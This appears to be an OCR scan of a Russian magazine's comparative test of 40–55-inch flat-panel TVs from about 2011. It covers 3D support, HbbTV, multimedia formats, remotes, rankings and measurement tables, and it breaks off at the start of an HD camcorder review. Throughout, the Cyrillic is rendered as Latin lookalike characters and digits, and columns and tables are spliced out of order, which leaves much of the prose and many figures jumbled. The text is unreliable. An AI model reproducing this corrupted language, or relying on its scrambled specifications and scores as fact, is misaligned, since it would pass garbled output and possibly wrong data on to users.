KpoMe Toro, c noMOLAbio nAaic(DopMbi 
HbbTV bo 3 mo>kho C 03 A 3 HMe cneuM- 
aAbHbix m HT epHeT-Mara 3 M hob, b ko- 
Topbix 6 yAyT AOdynHbi, HanpMMep, 
npeAMeibi OAe>KAbi mam aKceccyapbi 
rAaBHbix repoeB 6 AOK 6 aciepoB m 
nonyAApHbix cepMaAOB. 



CoBMeuteHHan KapmHKa npei/iMymecTBOM 
HbbTV aBABeTCA to, hto tgkctobeia MHtfeop- 
Mapi/iA i/i TB-M3o6pa>KeHMe MoryT OTobpa- 
>K3TbCA OAHOBpeMeHHO 


IloHCTHHe BneuaTjraeT noAAepxKa 
Gojibiuoto KOJimiecTBa cbopMaTOB b 
TejieBH30pax Samsung (HCKjnoueHHe 
cocTaBimeT jihiiib hockojibko ycTapeB- 
mHH UE 40 B 8090 ): ohh cnoco6HBi boc- 
npou3BOAHTBC USB-«4)jiemeK», BHeni- 
hhx HDD hjih ceTeBBix HaKonHTejieu 
npaKTuuecKH Bee pacnpocTpaHeHHBie 
BHAeo4)aHJIBI, b tom uHCJie h MKV. 
/],Be MOAeJIH 3T0T0 npOH3BOAHTeJIH, 
3aHHBmue nepBoe h BTOpoe MecTa, 
AeMOHCTpupyiOT KauecTBeHHyio 3 D- 
KapTHHKy — BnpoueM, He jimneHHyio 
HeAOCTaTKOB: Ha HexoTopBix rpaHHx 
3aMeTH0 pa3ABoeHHe KOHTypoB. 

TejieBH 30 p Philips 40 PFL 8605 K, oxa- 
3 aBmHHCH Ha TpeTBeM Mecre, o 6 ecne- 
HHBaeT OTjiHHHoe KauecTBO H 3 o 6 pa 3 ce- 
hhb, o 6 jiaAaeT ninpOKOH cbyrnaiHO- 
HaJIBHOCTBK) , nOAACpvKKOH 60 JIBm 0 T 0 
KOJIHHeCTBa (J)OpMaTOB H nOMHMO OH- 
jiaHH-BH^xeTOB npeaocTaBjTAeT Hnrep- 
HeT- 6 pay 3 ep. C ero noMomBK) mox- 
HO OTKpBITB jHo 6 yio Be 6 -CTpaHHuy, 
OAHaKO 6 e 3 OToGpaaceHira Flash- koh- 
TeHTa. flocaAHO TaioKe, hto Bee 3 th 
4 >yHKiiHH xopomo 3 anpBTaHBi b Ha- 
CTpOHKaX, XaOTHHHO pa 36 pocaHHBix 
no MeHio TejieBH 30 pa. HeAOCTaTou- 
ho oproHOMHHHBiH nyjiBT /],y c ero 
yronjieHHBiMH KHomcaMH eme 6 ojib- 
me ycjioxcHBeT ynpaBjieHne h Tpe 6 yeT 
npHBBIKaHHH. 

CaMBiM AOCTynHBiM H3 Bcex npOTec- 
THpOBaHHBIX TeJieBH30p0B BBJIHeTCH 

Toshiba 40 XV 733 . H ecjin no ocHanje- 
hhk) h AH 3 aHHy oh ycTynaeT 6 ojiee 
AOpomM ycTpohcTBaM, to no KanecT- 
By H 3 o 6 paxeHHH BnojiHe cnoco 6 eH c 
HHMH KOHKypHpOBaTB. KpOMe TOTO, 
y 3 toh MOAejiH ecTB oaho npeHMyme- 
ctbo — cbyHKHHH «Resolution+», koto- 
pa a MacmTa 6 npyeT pojihkh CTaHAapT- 
hoto pa 3 pemeHHH a o BHAeo bbicokoh 
ueTKOCTH. TejieBH 30 p npocT b ynpaBjie- 
hhh, a a h xanecTBO 3 Byxa He BBi 3 BiBa- 
eT HapeKaHHH. Sony KDF- 40 HX 805 
HapHAy c npoAyKTaMH ot Samsung, 
3 UH BBTTTHMH nepBOe H BTOpoe MeCTa, 

Taioxe o 6 jiaAaeT noAAepxcKoii 3 D: co- 
OTBeTCTByiomHH nepeAaTUHK h ohkh 
AOCT ynHBi b xauecTBe axceccyapOB. 
npH BOcnpOH 3 BeAeHHH 3 D-BHAeo y 
Sony npaKTHuecKH OTcyrcTByeT 3 (J>- 
(j)eKT pa3ABOeHHH H306pa3CeHHB, 3aTO 
3 aMeTHO jierKoe Mepn;aHHe. TejieBH 30 p 
FG 42 SF 9000 othochtcb k ycTpoit- 

CTBaM BBICOKOH IjeHOBOH KaTeTOpHH. 
Ero OCHOBHOH HeAOCTaTOK — BCTpO" 
eHHBiii 3ByK nocpeACTBeHHoro Kaue- 


! 4 eAecoo 6 pa 3 HbiM abaactca npM- 
o 6 peTeHMe TaKoro TeAeBM 3 opa, 
KOTOpbIM OCHaiAeH BCTpoeHHblM 
TIOHepOM, COBMeCTMMblM CO CTaH- 

AapTOM npMHMMaeMoro b 3 mm TB- 
CMrHaAa. CeroAHA HaM 6 oAee pacnpo- 
CTpaHeHbi MOAeAM c noAAep>KKOM 
Tpex CTaHAapTOB AMcfipoBoro TB — 
3 c|)MpHoro (DVB-T), Ka 6 eAbHoro 
(DVB-C) m cnyTHMKOBoro (DVB-S). 
CnyTHMKOBbIM TIOHep OTCyTCTByeT 
b TeAeBM 3 opax Samsung LE 40 C 750 , 
UE 40 B 8090 n UE 55 C 9090 , Toshiba 
m LG, a T 3 K>Ke Sharp LC- 46 LE 820 E. 

l/IHTEPOEMCbl I/I CJlOTbl 

Hto KacaeTCA BMAeoMHTepc|}eMcoB, 

TO Ha CerOAHAlAHMM AeHb lAMpOKOe 
pacnpocTpaHeHMe noAynnA CTaHAapT 
HDMI, noaTOMy Bee ocHOBHbie mc- 
tohhmkm BMAeo, HanpMMep Blu-ray- 
nAeepbi mam cnyTHMKOBbie pecMBepbi, 
o 6 AaAaKDT COOTBeTCTByiOlAMMM BblXO- 
A 3 mm. flAA npMeMa nAaTHoro TeAeBM- 
AeHMA MAM 33 KOAMpOBaHHblX KaHaAOB 
HD+ Heo 6 xoAMMO HaAMHMe MHTepcjieM- 
ca Cl, KOTopbm MMeeTCA bo Bcex npo- 
TeCTMpOB 3 HHblX yCTpOMCTBaX. 

COBMECTI/IMOCTb C MYJlbTM- 
ME flMHblMM (DQPMATAIVm 

Ecam TeAeBM 3 op Hecnoco 6 eH boc- 
npoM 3 BOAMTb cJaaMAbi cfiopMaTa AVI 
MAM MKV, 3 T 0 He ABAAeTCA 60 Ab- 
LiJOM npo 6 AeMOM: OTAeAbHbie BLu- 
ray- mam MeAManAeepw, KOTopbie 
cneuMaAM 3 MpyiOTCA mmchho Ha 
3 tom, AOCTynHbi no ueHe ot 
4000 py 6 AePi (1000 rpMBeH). 

CTBa: HH 3 Kne uacTOTBi nepeAaiOTCii c 
Ape 6 e 3 xaHHeM a axe npn yMepeHHOH 
rpOMKOCTH. Oco 6 oH 3 K 0 H 0 MH 0 CTBK) 

OTjiHHaeTCB Philips 42 PFF 6805 H/ 12 , 
KOTopBih npn pa 6 oTe noTpe 6 jiiieT 
nouTH BABoe MeHBme 3 HepmH, ueM 
Apyrne ycTpoitcTBa. DjieraHTHBin Kop- 
nyc BBinojiHeH H 3 AOporocTonmux 
MaTepnajiOB, a KauecTBO cGopxn Ha 
BBICOTe. no XapaKTepHCTHKaM H 30 - 
6 paxeHHB MOAejiB hcckojibko ycTy- 
naeT (JiaBopHTaM TecTHpoBaHHB, oa- 
Haxo npn noBceAHeBHOM HcnojiB 30 - 
BaHHH npaKTHUeCKH He 6 jIHKyiOIAHH 
3 KpaH o 6 ecneuHBaeT ueTKyio h koht- 
pacTHyio KapTHHKy. 

6M3Hec-Kjiacc: 

fluaroHa^b ao 55 akdmmob 

nOMHMO OTpOMHOH AHaTOHaJIH 3 KpaHa 
6 ojiBmne TejieBH 30 pBi yAHBHjiH Hac 
CBoeir 6 oraToii cbyHKAHOHajiBHOCTBio: 
noAAepxKa cem h bo 3 moxchoctb a o- 
CTyna b HHTepHeT b 3 thx ycTpoitcTBax 
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Bo/ibiuafl AMaro- 
Hajib craHOBMTcn 
AOCTynHee 


5IBJI5HOTC5I npaKTHHeCKH CTaH^apTOM. 
CeML H3 RQCSLTH npOTeCTHpOBaHHLIX 
MO^eneH noA^epacHBaiOT BOcnpon3- 
BeAeHHe 3D-BHAeo, a Oojibihhhctbo 
BCT poeHHBix MeAHanjieepoB otjihhho 
C npaBJIHIOTCil C COBpeMeHHBIMH Myjib- 
THMeAHHHBIMH (J)OpMaTaMH. 

JlHAepCTBO b 3tom cerMeHTe npn- 
HaAJiexcHT Samsung UE55C9090. He- 
CMOTpii Ha cboh BHymHTejiBHBie ra6a- 
pHTBi, AaHHLiH TejieBH30p o6jia,aaeT 
KOpnycoM tojhuhhoh Bcero 1 cm, ko- 
TOptiH OTjTHuaeTca GeaynpeuHOH c6op- 
koh h npHBjieKaeT BHHMaHne 6 ojib- 

mHM KOJIHHeCTBOM H35HIJHBIX AeTaJieH. 

Hto KacaeTCH KauecTBa H3o6paxeHHH, 

TO OHO TaiQKe Ha BBICOKOM ypOBHC! 
6jiaroAapH LED-tcxhojiothh naHejit 
HMeeT paBHOMepHyio no^CBeTKy h 


OTjiHHHyio UBeTonepeflauy. O^HaKO, 
Kax noKa3ajio Hame TecTHpoBaHHe, 
b pexcHMe 3D npH Hcnojn>30BaHHH 
BXOAHIIJHX B KOMnjieKT nOCTaBKH 
3aTBOpHBIX OHKOB HpKOCTB TCJieBH30- 

pa CHHxcaeTCH co 160 ao 30 ka/m 2 , to 
ecTB 6ojiee ueM b roiTB pa3. IIoao 6- 
Ha h TeH^eHLiHH xapaKTepHa rjw 6ojib- 
mHHCTBa npeACTaBjieHHBix Ha pBiHKe 
3D-naHejieH. 

TejieBH30p Sony KDL-52LX905, 3a- 
hhbihhh BTOpoe MecTO, npe^CTaBjiHeT 
co6oh oueHB cGajiaHCHpoBaHHoe ycT- 
POHCTBO. IlOMHMO nOAAepXCKH 3D OH 
ocHameH cctcbbim pa3T»eMOM (RJ45) h 

AaTHHKOM A BHXCeHHH, KOTOpBIH ABTO- 
MaTHHeCKH 3aTeMHHeT KapTHHKy npH 
OTcyrcTBHH CHAmnnx nepeA naHejitio 
3pHTeJieH, HTO nOJIOXCHTeJIBHO CKa3BI- 
BaeTCH Ha 3HepronoTpe6jieHHH. Kpo- 
Me toto, HMeeTCH cfiyHKLtHii npeAy- 
npe^aeHHH o 6e3onacHOH AHCTaHitHH, 
OTKjnouaiomaB TejieBH30p b cjiyuae 
npHOjiHxeHHB k HeMy peOemca Ha 
paccTOHHHe MeHee MeTpa. IlpaB^a, 
OHa He Bcer^a paOoTaeT Koppeicrao. 


Sony KDL-52LX905 BectMa Henjio- 
xo cnpaBjiHeTCH c npeo6pa30BaHHeM 
2D-H3o6paxeHHH b 3D b pexHMe 
peajiBHoro BpeMeHH. Heo6xoAHMBie 
AJm npocMOTpa TpexMepHoro koh- 
TeHTa 3aTBOpHBie ohkh bxoaht b KOM- 
njieKT nOCTaBKH. 

Oco6o An^xjiepeHLiHpoBaHHaii h ec- 
TecTBeHHan ABeTonepeAaua — rjiaB- 
Han ocoOeHHOCTB TejieBH30pa Sharp 
LC-46LE925E. ITomhmo ochobhlix 
Abctob — KpacHoro, CHHero h 3ejieHO- 
ro — npHcyTCTBypomux b hbctoboh cxe- 
Me TpaAHIJHOHHBIX TeJieBH30p0B, OH 
OTo6pa>KaeT Taioxe xcejiTBie nuxcejiH. 
B pe3yjiBTaTe 30 jiotoh ijBeT h TejiecHBie 
TOHa, a Taioxe CHHHe h 3ejieHtie oireH- 
KH CMOTpHTCH Ha HeM HpKO H KpaCOH- 
ho, ho He upe3MepHO. KpoMe toto, 
B COHeTaHHH C BXOAHLHMMM B KOMn- 
jieKT nOCTaBKH 3D-OHKaMH TeJieBH30p 
Sharp noKa3aji HanBBicmee KauecT- 
bo o6i>eMHoro H3o6paxceHHH, KOTOpoe 
KOr,aa-JIH6o ACMOHCTpHpOBaJIOCB B Ha- 
ineii TecTOBOH jiaOopaTopHH moacjih- 
mh c LED-noflCBeTKOH. -4 


floMaiBHee 3D-Te/ieBMAehme 

I/Ictohhmkm o 6 beMHoro KOHTema fljia flOMaiuHero npocMOTpa 
mo>kho nepecHmaTb no na/ibpaM: noMmvio ai/ickob Blu-ray 3D 
TpexMepHoe BUfleo flociynHo To/ibKo Ha cneijMajibHbix xaHa/iax 
nnaTHoro 1/1 IP-TeneBHfleHHB. 


MH 0 >KecTB 0 MOfle/ieM coBpeMeH h bix 
Te/ieBM3opoB noflAepiKMBafOT 3D- 
TexHOJiornfo. OAHaKO TpexMepHbm 
KOHTeHT b HacTOfliAee BpeM5i Bee eu\e 
He pacnpocTpaHeH b 6o/ibWMx ko/im- 
necTBax. OcHOBHbiM ero mctohhmkom 
aB/iafOTca auckh BLu-ray 3D, npo- 

CMOTp KOTOpbIX B03M0)KeH npM 

Ha/iMHMM noAxoA^mero ruieepa. 


3D-TeBeBM3opa m 3aTBopHbix ohkob. 
Bee KpynHbie npon3BOAMTejin BLu- 
ray-npoMrpbiBaTe^ePi npeA/iarafOT no 
HecKO/ibKO MOAe/iePi, npiineM pbiHOK 
nOCTO^HHO nonOBHUeTCH HOBbIMM 
yCTpOMCTBaM M . 

(DI/mbMbl HA fll/ICKAX BLU-RAY 3D 

AcCOpTMMeHT BMAeO b TpexMepHOM 
(|DopMaTe noKa oneHb He pa3Hoo6pa- 


k 



k 


lloHyBCTByMTe cedn b KUH03ane CoBpeMeH- 
Hbie 6/iOK6acTepbi BnenauBifoiAe CMOTpaica 
Ha AOMaiiiHi/ix 3D-Te/ieBM3opax 

3eH. B OCHOBHOM 3TO Myjl bTMn/1 MKaUM- 
OHHbie M AGTCKMe c(d 1/1/1 b M bl, KOTOpbie 
6e3 oco6bix ycmi mm mo>kho noMecTMTb 
Ha ahckm BLu-ray 3D. 

TPEXMEPHOE TEJlEBMfl EHI/IE 

B HacToaiAee BpeMn KOMnaHMn «3D- 
J1 m ra» (www.3dliga.ru) npoBOAMT 
TecTMpoBaHMe 3D-KaHa/iOB m npeA/ia- 
raeT nojib30BaTennM pemeHMn A-n^ 
npocMOTpa o6i>eMHoro TB. TaK>Ke 
CTOMT OTMeTMTb cfD M p My «AKaAO» 

(www.akado.ru), KOTopaa npeAO- 
CTaB/iaeT ycayrM TeneBMACHMa b 3D. 

He npMxoAMTca coMHeBaTbca, hto 
paHo mb m no3AHO TpexMepHoe Beiua- 
HMe 6yAeT mMpoKO pacnpocTpaHeHo 

M B HaiaeM CTpaHe — 3T0 TOJlbKO 

Bonpoc BpeweHM. 
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MHorocf>yHKUMOHajibHbie ny/ibTbi 


fl/m CBoero Te/ieBM3opa npeMnyM-K/iacca 
UE55C9090 KOMnaHun Samsung noAroTO- 
BM/ia BecbMa Heo6bmHbm ny/ibiflY. YnpaB- 
jieHue ocyLAecTB/meTcn nocpeACTBOM 
KaHecTBeHHoro ceHcopHoro 3KpaHa, 
KOTopbm cnoco6eH OTo6pa>KaTb Aawe 
yMeHbweHHoe M3o6pa>KeHMe c Te/ieBn- 
3opa, nepeAafomeecfl no 6ecnpoBOA- 
hom CB513M. OAHaKO, KaK noKa3a/ia 
npaKTMKa, TaKoe peiueHue He/ib3n Ha- 
3BaTb npocTbiM u yAo6HbiM b noBce- 
AHeBHOM MCn0Jlb30BaHUU. 

ny/lbT HA COJIHEHHbIX EATAPEflX 

Te/ieBM3op Philips 42PFL6805H/12 nocraB- 
/i5ieTC5i c ny/ibTOM flY, pa6oiafOLAMM ot coji- 
HeHHbix 6aiapeM. B cbjbm c ietA hto HaBi/i- 
raunoHHbie KHonKM pacno/io>KeHbi 6jim3KO 


IIoAAep3CKa 6ojibinoro KOJinnecTBa 
4>opMaTOB, BKjnonaH MKV, h iiojiho- 
iieHHBiH HHTepHeT-6pay3ep aojhkhbi 
B eH^aTB aoctohhbih naKeT ocHanje- 
hhh. TejieBH30p Samsung UE46C8790, 
3aH5iBiimH ueTBepToe mccto b Ha- 


Apyr KAPyryynpaB- 
jieHne Tpe6yeT npn- 
B bl K3H M53 . llopaAOBa- 
/ia oco6eHHocTb 
ny/ibTa y Samsung 
UE40B8090: KorAa 
ero AepwaT b pyKax, 
KHonKM noACBenn- 
BafOTCfl. 

riynbT fly 

C CeHCOpHblM 
ynpaBJiem/ieM 

Te/ieBM3opa Samsung 
UE55C9090 Bbirnn- 
Aut noTpncaioLAe, 
OAHaKO He BcerAa 
YAo6eH b pa6oie 


meM peuTHHre, OTjiHnaeTCH cthjib- 
HBIM TOHKHM KOpnyCOM H 6oraTBIMH 
AOnOJIHHTeJIBHBIMH B03M03CH0CTHMH. 
flaHHan MOAejiB ACMOHCTpupyeT Han- 
jiyumee H3o6paxeHue cpeAH KOHKy- 
peHTOB H MOIAHBIH HaCBHUeHHBIH 3ByK 


TaKoro KauecTBa, hto mbicjib o noKyn- 
Ke AOnOJIHHTeJIBHOH CTepeOCHCTeMLI 
A axe He npHxoAHT b rojiOBy. Bocnpo- 
H3BOAHMoe npH Hcnojn>30BaHHH on- 
AHOHaJIBHO AOCTynHBIX OHKOB 3D- 
H3o6paxeHHe jnnneHO Mepu;aHHH, th- 
nmiHoro rjw TejieBH30p0B Samsung, 
3aTO 3aMeTeH jierKHH s^eKT pa3ABO- 
eHHH KOHTypOB. 

TejieBH30p LG 47LX9500 o6jiaAaeT 
oahhm H3 jiynninx AncnjieeB b Kjiac- 
ce c otjihhhbimh xapaKTepHCTHKa- 
MH. OAHaKO OH Hpe3MepHO OnTH- 
MH3HpyeT H3o6pa3ceHHe, hto hbjih- 
eTCH npHHHHOH HeKOTOpBIX noTepB 
b KauecTBe npH npocMOTpe TB. npH 
yMeHBmeHHH pe3KOCTH KapTHHKa CTa- 
HOBHTCH 6oJiee CnOKOHHOH. H XOTH 
3D-H3o6paxeHHe TejieBH30p LG boc- 
npOH3BOAHT 6e3 3aMeTHoro Mepn;a- 
hhh, j\jir Hero Taioxe xapaKTepeH 3(J)- 
(J)eKT pa3ABOeHHH KOHTypOB. Bnpo- 
ueM, HeKOTOpBiM yTemeHHeM npH 
noKymce a^hhoto ycTpoucTBa CTa- 
HyT cpa3y ABe napBi 3aTBOpHBix ohkob 
b KOMnjieKTe nocTaBKH. Taioxe ctoht 
OTM eTHTB, HTO BCTpOeHHaH aKyCTH- 
necKan CHCTeMa 3acjiyxHBaeT noxBa- 



fluaroHajib 

(PyHKUMM 


X 




40-42 fliOHMa 

ms 


y W avi 1 


m 




CpeAHaa po3HMHHaa ueHa, pyd./rpH. 

Odinafl ouemo 

KanecTBO M3o6pa)KeHHfl TB/bma 60 (30%) 

KanecTBO flucn/iea (25%) 

3pr0H0MMHH0CTb (20%) 

OcHamemie (10%) 

KanecTBO 3ByKa (5%) 

3Heproat|]tj]eKTiiBHOCTb (5%) 

AoKyMeHTaiuifl m cepBMC (5%) 

TexHunecKue xapaKTepucTUKM n pe3ynbiaibi M3MepeHWM 


|l MECTO 

2 MECTO 

3 MECTO 

4 MECTO 

5 MECTO 

1 6 MECTO 

7 MECTO 

8 MECTO 

1 9 MECTO 1 

Samsung 

LE40C750 

Samsung 

UE40C8790 

Philips 

40PFL8605K 

Toshiba 

40XV733 

Sony KDL- 
40HX805 

LG 

42SL9000 

Philips 42PFL 
6805H/12 

Toshiba 

40VL733 

Sony 

KDL-40EX705 

49 000/10 500 

85 000/ — 

74 000/ — 

26 000/6500 

55 000/ — 

57 000/11 200 

60 000/ — 

35 000/9200 

41 000/11 200 

91,3 

91 

88,3 

87,8 

86,1 

85,6 

85,6 

85,5 

85,4 



AnaroHajib, akmmob 

40 

40 

40 

40 

40 

42 

42 

40 

40 

KowpacTHOCTb (waxMaTHasi Tati/unia) 

220:1 

216:1 

211:1 

225:1 

189:1 

185:1 

192:1 

216:1 

217:1 

flpKOCTb, KA/M 2 

493 

512 

397 

333 

406 

301 

234 

346 

321 

Yroji o63opa no ropn30HTajin, 0 

175 

174 

172 

173 

173 

178 

178 

174 

171 

Yroji od3opa no BepTUKami, ° 

171 

175 

170 

167 

169 

176 

173 

170 

166 

BpeMB 0TKAHK3, MC 

8 

Hei AaHHbix 

7 

14 

7 

7 

5 

5 

8 

3HepronoTpe6iieHne (b pa6oneM peiMie), Bt 

128 

123 

92 

111 

86 

115 

67 

109 

90 

HDMI/SCART 

4/2 

4/2 

4/1 

4/2 

4/2 

4/2 

4/1 

4/2 

4/2 

fadapHTbi, cm 

98x66x27 

96x65x27 

96x64x24 

98x68x33 

95x62x25 

100x70x29 

100x66x20 

101x68x30 

99x66x24 


■ Otjimhho (1 00-90) I Xopoiuo (89-75) 

I nocpeflCTBeHHO (74-45) H HeyAOBJieTBopme/ibHO (44-0) 

Bee oqeHKM b 6a/uiax (MaKcmviyM — 100) 
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flonojiHme/ibHbie 

B03M0>KH0CTM Te/ieBI430p0B 


jibi, a cadByc^ep AodaBjineT peajiH3Ma 
npH npocMOTpe. 

KoMnaHHH Loewe no3BOJineT noxy- 

naTejiHM caMOCTOHTejiBHO ynacTBOBaTb 
b no^dope KOMnoHeHTOB ocHame- 
hhh h BHeniHero ocjDOpMjieHHH CBoero 
dyaymero TejieBH30pa — HanpHMep, 
Bbi6HpaTB noACTaBKy, upqt h xapax- 
TepHCTHKH ay^HOCHCTeMBI. B KaneCT- 
Be ochobbi cjiyxHT Mo^ejiB Loewe 
Individual 46 Selection. IIp0H3B0- 
AHTejiB He CHadacaeT cboh npo^yicTBi 
noAAepxKOH 3D h MHorouHCJieH- 
HBIX MyjIBTHMeAHHHBIX (jDOpMaTOB. 

3aTO Loewe Hapn^y c Sharp h Philips 

BXOAHT B HHCJIO nepBBIX KOMnaHHH, 
BBinycTHBniHx TejieBH 30 pbi c npor- 
peCCHBHOH (J)yHK] 3 HeH npOCMOTpa HH- 
TepaKTHBHoro HbbTV-KOHTeHTa (cm. 
Bpe 3 xy Ha CTp. 62), KOTOpan, npaB^a, 
noxa He flocTynm b Pocchh. 

mm ECJIH BBI HeAOBOJIBHBI CJIHIH- 
KOM TeMHOH KapTHHKOH HJIH dblCT- 
po H 3 MeH 5 nomeHCH npKOCTBio Tejie- 
BH 30 pa, npOBepBTe, axTHBeH jih #aT- 
hhk npKOCTH. KcTara He cjie,ayeT 
Hpe 3 MepHO yBeJIHHHBaTB flaHHBIH no- 
Ka 3 aTejiB, Tax xax cjihihxom 6ojib- 


3D flncn/ieH cnocobeH 0 T 06 pa>KaTb 
CTepeOKapTl/IHKy H CHHXpOHH3HpO- 
BaTb ee c 3aTBopHbiMM 0HKaMi/i. 

CeTb CeieBOM pa3beM no3BonneT 
ocyLuecTBjBiTb noTOKOBoe Bemam/ie 
BMAeoc|DaMJioB c DLNA-cepBepa. 

MPG Te/ieBi/i3op cnocobeH Bocnpo- 
H3 B 0 ,qmb MPG-cjDannbi c «c|D/ie- 
LueK» i/ini/i ceieBbix HaKonnienen. 

AVI Hanbonee pacnpocipaHeHHbm 
cfDopMaT c|3aMna-K0HTeMHepa ana 
xpaHeHna BM,qeo CTaHflapTHoro 
pa 3 peweHMfl, HanpHMep Xvid hjih DivX. 

D MKV 3tot KOHietiHep, Tame Ha 3 bi- 
BaeMbm Matroska, Hcnonb 3 yeTcn 
fljui xpaHeHHa BHfleo cjDopMaia 
720p i/i ji i/i Full HD. 



BMflweTbi OHJiaMH-npnno>KeHn^ 
c orpaHHHeHHOM c|DyH Kpi/iOHan bHO- 
CTbio, onn/iM i/131/i poBaHHbie fl/in 
ncno/ib30BaHnn b TeneBH3opax, no3BonmoT, 
HanpHMep, npocMaipHBaib HHtfiopMapHio 
o noroAe hjih BHfleoponHKH c YouTube. 

Bpay3ep BcipoeHHbiH Be6-o6o3pe- 
Baienb MoweT OTobpawaTb Jiiobbie 
Be6-caHTbi. 

HbbTV HoBaa HHTepaKTHBHaa 
Bepcnn TeneieKda obecnenHBaeT, 
B HaCTHOCTH, B03M0>KH0CTb flOCTy- 
[HaieKaM TB-KaHanoB. 

CnyTHHK IIomhmo pecHBepoB 
AJifl npneMa cnmanoB xabenb- 
Horo h 3 c|d h p h o ro TB TeneBH 3 op 
OCHaiAeH CnyTHHKOBblM TIOHepOM. 




man pa 3 HHu;a Meayty ocBenjeHHeM 
b noMemeHHH h hpkoctbio oxpaHa 
TejieBH 30 pa C 03 flaeT HanpnxeHHe ajht 
rjia 3 . KpOMe Toro, npn 3tom CTaHO- 
B 5 TTC 5 T 6 oJiee 3 aMeTHBIMH Ae 4 )eXTBI 
H 3 o 6 paxeHHH. Taxxe He ctoht 3adti- 
BaTB, HTO npn nOHffiKeHHOH npXOCTH 
3 K 0 H 0 MHTCH 3 HaUHTeJIBHOe KOJIHUe- 
CTBO 3 JieXTp 03 HeprHH. 

CaMBIM AOCTynHBIM H3 TeJieBH30p0B 

c dojibmoH AHaroHajiBK) BBjineTCir 


Sharp LC-46LE820E, ocHameHHBiii 
noAflepxxoH neTBipexiiBeTHOH TexHO- 
jiomH RGBY. KauecTBO xapTHHXH y 
3TOrO yCTpOHCTBa BeCBMa £OCTOHHOe, k 
TOM y xe oho BBmaeT moiu,hbih, ycn- 
jieHHBin cadBycjrepOM 3Byx, xoth Ha 
hh3xhx nacTOTax HadjiioflaeTCH BHdpa- 
u;hh xopnyca. Ho b Sharp nocxynujiHCB 
Ha ocHameHHe: b TejieBH30pe HeT hh 
noAflepxcxH 3D, hh bo3moxhocth pa- 
6 otbi c ceTeBBiMH cepBHcaMH. Hsn? 


m 



10MECTO 


Samsung 

UE-40B8090 



46-55 akmmob 



1 

■Q ImpgI avi 1 

1 ES 

■ 


1 MECTO 1 2 MECTO I 3 MECTO I 4 MECTO 1 5 MECTO I 6 MECTO I 7 MECTO I 8 MECTO I 9 MECTO llO MECTO 


Samsung 

UE55C9090 


Sony Sharp 

KDL-52LX905 LC-46LE925E 


Samsung 

UE46C8790 


LG 

47LX9500 


Loewe Individu- Sony 
al 46 Selection KDL-55NX815 


250 000/- 
91,3 



- 150 000/- 110 000/22 300 

90,8 90,3 

96 97 

90 88 

95 96 

89 88 

97 88 

72 

92 79 



90 000/- 70 000/21 300 320 000/75 200 

90,2 90,1 90,1 

100 91 92 

87 100 84 

87 89 100 

88 91 91 

100 98 98 

56 54 58 

92 75 85 


170 000/ — 
89,5 


Samsung 

UE55C8790 

130 000/ — 
89,1 


Philips Sharp 
46PFL8605K LC-46LE820E 





40 

55 

52 

46 

46 

47 

46 

55 

55 

46 

46 

198:1 

195:1 

215:1 

205:1 

214:1 

248:1 

209:1 

211:1 

212:1 

214:1 

208:1 

341 

359 

394 

384 

420 

418 

413 

316 

480 

414 

337 

176 

176 

176 

175 

167 

175 

164 

172 

174 

173 

171 

175 

176 

175 

174 

166 

175 

148 

169 

175 

172 

172 

10 

5 

8 

5 

3 

3 

8 

10 

8 

7 

2 

122 

147,4 

127,5 

108,8 

143 

147,7 

152,3 

109,8 

163,2 

141,6 

91,3 

4/1 

4/1 

4/1 

4/1 

4/1 

4/1 

3/1 

4/1 

4/1 

4/2 

4/1 

100x68x26 

129x88x30 

126x84x40 

112x79x34 

110x73x30 

109x75x26 

114x83x35 

128x80x32 

128x84x30 

110x72x27 

113x79x34 
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n:n^ TECTbl N 0 E 30 Pbl BufleoKaMepbi BbicoKoPi neTKOCTM 



HD-KaMepbi: 

o 6 uimm 3aneT 


«06biHHbie» m KOMnaKTHbie BMfleoKaiviepbi, MO^e/ib, cnoco6- 
Haa cm/iMaTb b depeopewi/nvie, u KaMepa co CMeHHbiMi/i 0 oto- 
ofiteKTi/iBaMi/i — b HaiueM Tecie npeflCTaBJieHbi Bee ocHOBHbie 
TpeHflbl JllOOl/ITeJlbCKOM BMfleOCbeMKM. 


21 

J1YHIUMM 

nPOflYKT 

2/2011 


C eroAHH b Hainen TecTOBOH Ta6- 
JTHUe C06paHBI OHCHb pa3HBie 
B IUiaHe B03M0vKH0CTeH H CTO 
hmocth BH^eoKaMepBi. 3aecb 
ecTb h TonoBbie jiioGirrejibCKHe 
MonejiH, h He^opome KOMnaKTHbie, h 
A a>Ke jib a yHHKajibHbix nponyKTa, Ha 
AaHHbiH MOMeHT nonpocTy He HMeio- 
mnx KOHKypeHTOB . 06beaHHHeT hx to, 
HTO BCe OHH CHHMaiOT BH^eO BbICOKOH 
neTKOCTH. Pe3yjibTaTbi, nponeMOHCTpn- 
pOBaHHbie HMH npH TeCTHpOBaHHH, 


nopOH Moryr noKa3aTbCH HecmimaH- 
HblMH, HO npH BHHMaTeJIbHOM paCCMO- 
TpeHHH BnojiHe 06'bHCHHMbi. 

M3o6paMeHiie m 3ByK 

B maBHOH flHCHHnjTHHe — no KanecT- 
By H3o6paxceHHB — npaKranecKH Bee 
ynacTHHKH o6jianaK)T xopoihhmh h ot- 
JIHHHblMH nOKa3aTeJIHMH. MCKJIKDHeHHe 
cocTaBjineT onHa H3 caMbix Heaopomx 
KaMep b TecTe — Sanyo VPC-CG10, 
Ha6paBnian 68 6ajwoB. 3 to yaoBjieTBO- 


pHTejibHbin pe3yjibTaT, ho He 6ojiee 
toto. A jiyninyio xapTHHKy npoaeMOH- 
CTpnpoBajia Moaejib HDC-HS700 ot 
Panasonic, ocHameHHaa TpeMH TpexMe- 
ranHKcejibHbiMH MaTpnijaMH (no o^hoh 
H a KaacabiH H3 ochobhhx u;BeTOB — 
KpacHbin, 3ejieHbiii h chhhh). Bcero 
Ha 6ajui MeHbine Ha6pajin enje jjbq 
xaMepbi Panasonic, nocTpoeHHbie Ha 
OCHOBe TOH JKQ TeXHOJIOTHH. 

IIohth Bee KOMnaKTHbie Moaejin o 6 jia- 
aaioT BecbMa cpeaHHMH xapaKrepHCTH- 



1 MECTO 

2 MECTO 

3 MECTO 

4 MECTO 

5 MECTO j 

Panasonic 

HDC-SDT750 

JVC 

GZ-HM1 

Panasonic 

HDC-HS700 

Panasonic 

HDC-SD600 

Sony 

HDR-XR550E 

Aflpec b MHTepHeTe 

www.panasonic.ru 

www.jvc.ru 

www.panasonic.ru www.panasonic.ru www.sony.ru 

CpeflHBB po 3 HMHHaa ueHa, pyG./rpn 

50 500/13 800 

35 000/8300 

46 000/1 1 950 32 000/7700 35 000/9900 

